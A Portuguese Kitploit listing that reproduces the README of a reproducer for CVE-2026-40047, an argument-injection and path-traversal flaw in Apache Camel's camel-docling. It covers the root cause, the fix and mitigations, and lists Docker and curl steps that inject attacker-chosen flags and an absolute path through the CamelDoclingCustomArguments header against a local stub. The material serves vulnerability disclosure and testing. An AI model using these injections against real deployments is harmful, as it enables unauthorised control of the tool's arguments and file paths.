Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40047 — Reproducer for CVE-2026-40047: Apache Camel camel-docling CLI argument injection / path traversal | Kitploit
Ferramentas/GitHubGitHub/oscerd/cve-2026-40047
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40047

CVE-2026-40047

Reproducer for CVE-2026-40047: Apache Camel camel-docling CLI argument injection / path traversal

Ver Repositório
2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodutor de Injeção de Argumentos CLI / Path Traversal camel-docling (CVE-2026-40047)

Este projeto demonstra uma vulnerabilidade de injeção de argumentos CLI e path traversal no componente camel-docling do Apache Camel, rastreada como CVE-2026-40047. O DoclingProducer constrói a invocação da ferramenta de linha de comando externa docling a partir de cabeçalhos da mensagem; argumentos personalizados fornecidos através do cabeçalho CamelDoclingCustomArguments eram anexados com validação insuficiente (uma denylist mais uma verificação literal ../), de modo que um atacante que influencia esses cabeçalhos pode injetar flags arbitrárias do docling e valores de caminho com travessia no subprocesso.

Comunicado: https://camel.apache.org/security/CVE-2026-40047.html

Resumo da Vulnerabilidade

Detalhes Técnicos

O DoclingProducer monta a invocação do docling e a executa via java.lang.ProcessBuilder (formato lista — sem shell). Argumentos CLI personalizados do cabeçalho CamelDoclingCustomArguments são anexados ao comando:

root@kitploit:~
// DoclingProducer.addCustomArguments(...) - versão afetada
List<String> customArgs = exchange.getIn().getHeader(DoclingHeaders.CUSTOM_ARGUMENTS, List.class);
if (customArgs != null && !customArgs.isEmpty()) {
    validateCustomArguments(customArgs);   // denylist + verificação literal "../" (fraca)
    command.addAll(customArgs);
}

Nas versões afetadas, validateCustomArguments dependia de uma denylist de flags proibidas e apenas rejeitava valores de caminho contendo um ../ literal. Como resultado:

  • Flags não reconhecidas (não na denylist) são passadas diretamente para o docling.
  • Valores do tipo caminho que fazem travessia sem ../ literal (caminhos absolutos ou sequências normalizadas) não são capturados.

Como o Camel constrói a invocação do docling, o componente é responsável por restringir esses valores. A correção (CAMEL-23212) substitui a denylist por uma allowlist estrita de flags reconhecidas, rejeita flags gerenciadas pelo produtor (--output/-o) e metacaracteres de shell (defesa em profundidade), e normaliza valores do tipo caminho com Path.normalize() antes de validar.

A invocação usa a forma de lista do ProcessBuilder, portanto um shell não interpreta os valores — a injeção de comando do SO via metacaracteres de shell não é possível; a rejeição de metacaracteres na correção é defesa em profundidade.

A rota

root@kitploit:~
from("direct:convert")
    .to("docling:convert?operation=CONVERT_TO_MARKDOWN&contentInBody=true");

Como este reprodutor observa a injeção

docling é uma ferramenta externa. Este reprodutor inclui um docling stub (no PATH dentro do contêiner) que registra os argv que recebe e escreve um arquivo markdown, de modo que os argumentos injetados ficam visíveis na resposta HTTP e em /tmp/docling-invocations.log. Tudo é executado dentro de uma imagem Docker (aplicativo + stub) — portanto, não é necessário instalar um docling real.

Pré-requisitos

  • Java 17+ e Maven 3.8+ (para construir o jar)
  • Docker (executa o aplicativo + stub docling)

Passos para Reprodução

Passo 1: Construir o jar e a imagem

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Passo 2: Conversão benigna

root@kitploit:~
curl http://localhost:8080/exploit/normal
# stub docling recebe: docling --to md --ocr-lang en --output <tmp> /tmp/input.txt

Passo 3: Injetar argumentos CLI arbitrários

root@kitploit:~
curl "http://localhost:8080/exploit/attack"
# injeta CamelDoclingCustomArguments = [--injected-by-attacker, arbitrary-value]
# -> stub docling recebe:
#    docling --injected-by-attacker arbitrary-value --to md --ocr-lang en --output <tmp> /tmp/input.txt

# um valor de caminho sem "../" literal (caminho absoluto) também passa:
curl "http://localhost:8080/exploit/attack?flag=--artifacts-path&value=/etc/attacker-controlled"

Em uma versão afetada (este reprodutor fixa a versão 4.18.2) a rota é bem-sucedida e os argumentos injetados alcançam o subprocesso. Em uma versão corrigida (4.18.3 / 4.19.0) a allowlist rejeita --injected-by-attacker com uma IllegalArgumentException e a rota falha.

Limpeza

root@kitploit:~
docker compose down

Condições de Exploit

  1. Uma rota Camel que encaminha dados influenciados externamente para CamelDoclingCustomArguments (ou os cabeçalhos de caminho) de um produtor docling:.
  2. Nenhuma remoção de cabeçalhos internos do Camel em mensagens de produtores não confiáveis.

Correção Recomendada

Atualize para 4.18.3 / 4.19.0. A correção usa uma allowlist estrita de flags reconhecidas do docling, rejeita flags gerenciadas pelo produtor e metacaracteres de shell, e normaliza valores de caminho com Path.normalize() antes de validá-los.

Mitigação

Até atualizar:

  1. Não mapeie conteúdo não confiável para CamelDoclingCustomArguments ou os cabeçalhos de caminho.
  2. Remova cabeçalhos internos do Camel (removeHeaders("Camel*")) de mensagens vindas de produtores não confiáveis antes do produtor docling:.

Arquivos

root@kitploit:~
CVE-2026-40047/
├── pom.xml
├── Dockerfile                       # aplicativo + stub 'docling' no PATH
├── docker-compose.yml
├── docling-stub.sh                  # stub 'docling' (registra argv, escreve markdown)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DoclingRoute.java         # from(direct:convert).to(docling:convert)
    │   └── ExploitController.java    # injeta CamelDoclingCustomArguments
    └── resources/
        └── application.properties

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-docling
Classe Afetadaorg.apache.camel.component.docling.DoclingProducer (addCustomArguments / validateCustomArguments)
Causa raizCamelDoclingCustomArguments (uma List<String>) anexado aos argumentos da CLI do docling com uma denylist fraca + verificação literal ../
CWECWE-88 (Injeção de Argumento) / CWE-22 (Path Traversal)
ImpactoInjeção de flags docling arbitrárias/não intencionais e valores de caminho fora do diretório na ferramenta externa. NÃO é injeção de comando do SO (ProcessBuilder baseado em lista, sem shell).
Versões AfetadasDe 4.15.0 antes de 4.18.3
Versões Corrigidas4.18.3, 4.19.0
JIRACAMEL-23212
RelatorAndrea Cosentino (Apache Software Foundation)